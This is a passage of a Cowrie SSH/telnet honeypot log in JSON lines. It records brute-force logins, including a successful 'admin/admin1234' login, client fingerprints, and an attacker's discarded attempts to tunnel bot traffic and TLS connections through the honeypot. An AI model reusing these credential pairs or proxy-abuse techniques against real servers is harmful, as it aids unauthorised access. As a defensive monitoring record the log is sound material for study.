f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:40.842253Z","src_ip":"49.247.37.22","session":"56df05414a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:41.723322Z","src_ip":"49.247.37.22","session":"56df05414a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:42.934273Z","src_ip":"49.247.37.22","session":"56df05414a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.957518815994263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:54.266071Z","src_ip":"107.6.151.170","session":"fc19f8b210e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":65415,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71f6771d121","protocol":"ssh","message":"New connection: 113.164.152.20:65415 (10.17.0.5:22) [session: a71f6771d121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:58.020220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:58.024321Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:58.358564Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:59.661619Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:00.102981Z","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:00.231004Z","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:00.395388Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/606.1.36 (KHTML, like Gecko) Version/9.1.2 Safari/606.1.36\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZmdKfS90VTc3UmleUHhnIQ%3D%3D%2FuqnJJ6aQY30X11Dle7s%2BPbdK%2BnENCHXhuMGEdnk98SMHc0PRPvSVmkdTQcELLkf8CynIIaQ0tl7Rijv7JDRBLnjcdNQIzJQzWmjEDLH3YPAq0YmzJP8JSQGsO6d%2FPeYdeH%2BBz3cdqoVu8CsNfZi%2BgDBLgOfCxdL34Mjo%2FgvakZR0zg%2BWrE60SldDHIKqWRmLwke3GAC%2FUry2Z8JTvqIQZookt2b%2B2LKRY%2B3ky%2Fcrl%2BDGVbYzeD6PV769m8QdMVlzUtdcF1hE2pa%2FHYrZ1OWgBq1T0MekABx0dvt6hY%2BMtDGOZZkq2Ygb4TNNI5vnXBCrysE%2FIcbSMH4YM2F74e0tFISrZoLoclOpBsTNz%2BBM064yhZPyqwMJLidNeeujeiuz3CALqKEMVhXlz3oZB%2BkBd19PGWzaYICDcK57PxzU%2FJ4tMvgAdSw8hnnSKrSLJtt3TDfEQ6xOZkHrv0qN2aefUNAKlzD4EFA9anCB5KFuwF4wi3tzTrr12MJAWfoRZt0FDisBEOHd5t4%2FkvCiYyKzsVACEeIz1TWhZYJEI%2F27Onyx2c3e4sl70EuBzqy%2FTtAZuxDQOF9SBhK8HGd328SkapV7iSCNMpKzGlg2YaLL9jluuAIw6TfL0JrgccLhiSgfc5%2BNYYzJexoUIRKFKoUOnQHyLHDQ3qdy2r5zgmu6nWwNcC7eVrgPiyZttc%2FZ0cOaDtJSzN5PZHHzT9VNkShaIue19ckSJfKLjLLGeBD86ArXuxfwwXwviJvbTVol3N%2BBYcFjiqWDAH6r527Avmqyrk3DfGf3nHpFm9sEfNJZ3as%2B0BcPzqSxU3RObfNoJGSMOOzcQ1AdoPdti81eOS%2BthAnMsoaL2%2FwUm4EJ5IQhiXGQBp29Tlzgzyaa3eE8QhrF%2F3GmN%2B5bAj%2FnOfRoy1%2BhGpe8f5j6bz1V4a874F3Qp2QsABJW2yl1YD283zJGqtTG1T7189RyubmW0psRg7SA2xzKvvPYF9dbFmSZZwCuCHgDeDKHJXK9odbU6M6fc7Yjq5qEq2iLt64FpeaQReXvH2FClsaTCym24izgLipob%2Ft5bGwh%2F639nuvzAyp10w%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/606.1.36 (KHTML, like Gecko) Version/9.1.2 Safari/606.1.36\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZmdKfS90VTc3UmleUHhnIQ%3D%3D%2FuqnJJ6aQY30X11Dle7s%2BPbdK%2BnENCHXhuMGEdnk98SMHc0PRPvSVmkdTQcELLkf8CynIIaQ0tl7Rijv7JDRBLnjcdNQIzJQzWmjEDLH3YPAq0YmzJP8JSQGsO6d%2FPeYdeH%2BBz3cdqoVu8CsNfZi%2BgDBLgOfCxdL34Mjo%2FgvakZR0zg%2BWrE60SldDHIKqWRmLwke3GAC%2FUry2Z8JTvqIQZookt2b%2B2LKRY%2B3ky%2Fcrl%2BDGVbYzeD6PV769m8QdMVlzUtdcF1hE2pa%2FHYrZ1OWgBq1T0MekABx0dvt6hY%2BMtDGOZZkq2Ygb4TNNI5vnXBCrysE%2FIcbSMH4YM2F74e0tFISrZoLoclOpBsTNz%2BBM064yhZPyqwMJLidNeeujeiuz3CALqKEMVhXlz3oZB%2BkBd19PGWzaYICDcK57PxzU%2FJ4tMvgAdSw8hnnSKrSLJtt3TDfEQ6xOZkHrv0qN2aefUNAKlzD4EFA9anCB5KFuwF4wi3tzTrr12MJAWfoRZt0FDisBEOHd5t4%2FkvCiYyKzsVACEeIz1TWhZYJEI%2F27Onyx2c3e4sl70EuBzqy%2FTtAZuxDQOF9SBhK8HGd328SkapV7iSCNMpKzGlg2YaLL9jluuAIw6TfL0JrgccLhiSgfc5%2BNYYzJexoUIRKFKoUOnQHyLHDQ3qdy2r5zgmu6nWwNcC7eVrgPiyZttc%2FZ0cOaDtJSzN5PZHHzT9VNkShaIue19ckSJfKLjLLGeBD86ArXuxfwwXwviJvbTVol3N%2BBYcFjiqWDAH6r527Avmqyrk3DfGf3nHpFm9sEfNJZ3as%2B0BcPzqSxU3RObfNoJGSMOOzcQ1AdoPdti81eOS%2BthAnMsoaL2%2FwUm4EJ5IQhiXGQBp29Tlzgzyaa3eE8QhrF%2F3GmN%2B5bAj%2FnOfRoy1%2BhGpe8f5j6bz1V4a874F3Qp2QsABJW2yl1YD283zJGqtTG1T7189RyubmW0psRg7SA2xzKvvPYF9dbFmSZZwCuCHgDeDKHJXK9odbU6M6fc7Yjq5qEq2iLt64FpeaQReXvH2FClsaTCym24izgLipob%2Ft5bGwh%2F639nuvzAyp10w%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:00.398804Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:00.675811Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035l\\xb4\\xbd\\x1ap\\x97\\xf9\\xe4\\x8dX|\\x8f\\xbf\\xb5\\xe1\\x91\\\\_Z\\xcbm\\xdb\\x83\\x0fy[\\xd0w\\xe6PB ~H\\xe1r\\x92n\\x0ej\\xd2\\xb2E4z\\x7f\\xda #+\\x97\\xd9V\\xcd\\xc7\\xdd\\x8d<t\\xa1k|\\rk\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe5P8\\xc1\\xf5\\xe3(WhD\\x1c\\xe2\\x01HmGz]\\x95t\\xad\\xbap\\x1c\\xf8\\xbfU#\\xa4\\xef\"9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035l\\xb4\\xbd\\x1ap\\x97\\xf9\\xe4\\x8dX|\\x8f\\xbf\\xb5\\xe1\\x91\\\\_Z\\xcbm\\xdb\\x83\\x0fy[\\xd0w\\xe6PB ~H\\xe1r\\x92n\\x0ej\\xd2\\xb2E4z\\x7f\\xda #+\\x97\\xd9V\\xcd\\xc7\\xdd\\x8d<t\\xa1k|\\rk\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe5P8\\xc1\\xf5\\xe3(WhD\\x1c\\xe2\\x01HmGz]\\x95t\\xad\\xbap\\x1c\\xf8\\xbfU#\\xa4\\xef\"9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:00.678879Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:01.243370Z","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:01.539003Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcb7\\xc9P&kd\\x84\\x13\\xdc\\xc4\\xee\"\\x03\\xf6\\xd3\\xc7;H\\xc6\\x18\\x83\\x92\\xa2\\xdb\\x8d^\\x91\\x03\\xed]\\x00 \\xff\\xc1\\x18\\xab\\xe8[W\"\\xfe\\x07?\\x9f\\x19\\xa1\\x95\\x8fF\\x01#\\x99@\\xa8\\\\y\\xa0\\x82FX\\xffa\\xc4<\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 }/\\x04\\xb8\\xd0]7\\x89\\x88d\\xa8\\xdd\\xe7\\x82+\\xe6\\xb0T\\xecz\\x08nF\\xc7\\t%c\\x17K0\\xc65\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcb7\\xc9P&kd\\x84\\x13\\xdc\\xc4\\xee\"\\x03\\xf6\\xd3\\xc7;H\\xc6\\x18\\x83\\x92\\xa2\\xdb\\x8d^\\x91\\x03\\xed]\\x00 \\xff\\xc1\\x18\\xab\\xe8[W\"\\xfe\\x07?\\x9f\\x19\\xa1\\x95\\x8fF\\x01#\\x99@\\xa8\\\\y\\xa0\\x82FX\\xffa\\xc4<\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 }/\\x04\\xb8\\xd0]7\\x89\\x88d\\xa8\\xdd\\xe7\\x82+\\xe6\\xb0T\\xecz\\x08nF\\xc7\\t%c\\x17K0\\xc65\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:01.542150Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:01.971256Z","src_ip":"113.164.152.20","session":"a71f6771d121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":60560,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf4094fb2e2c","protocol":"ssh","message":"New connection: 182.93.50.90:60560 (159.203.135.109:22) [session: bf4094fb2e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:03.429486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:03.435597Z","src_ip":"182.93.50.90","session":"bf4094fb2e2c","protocol":"ssh"}
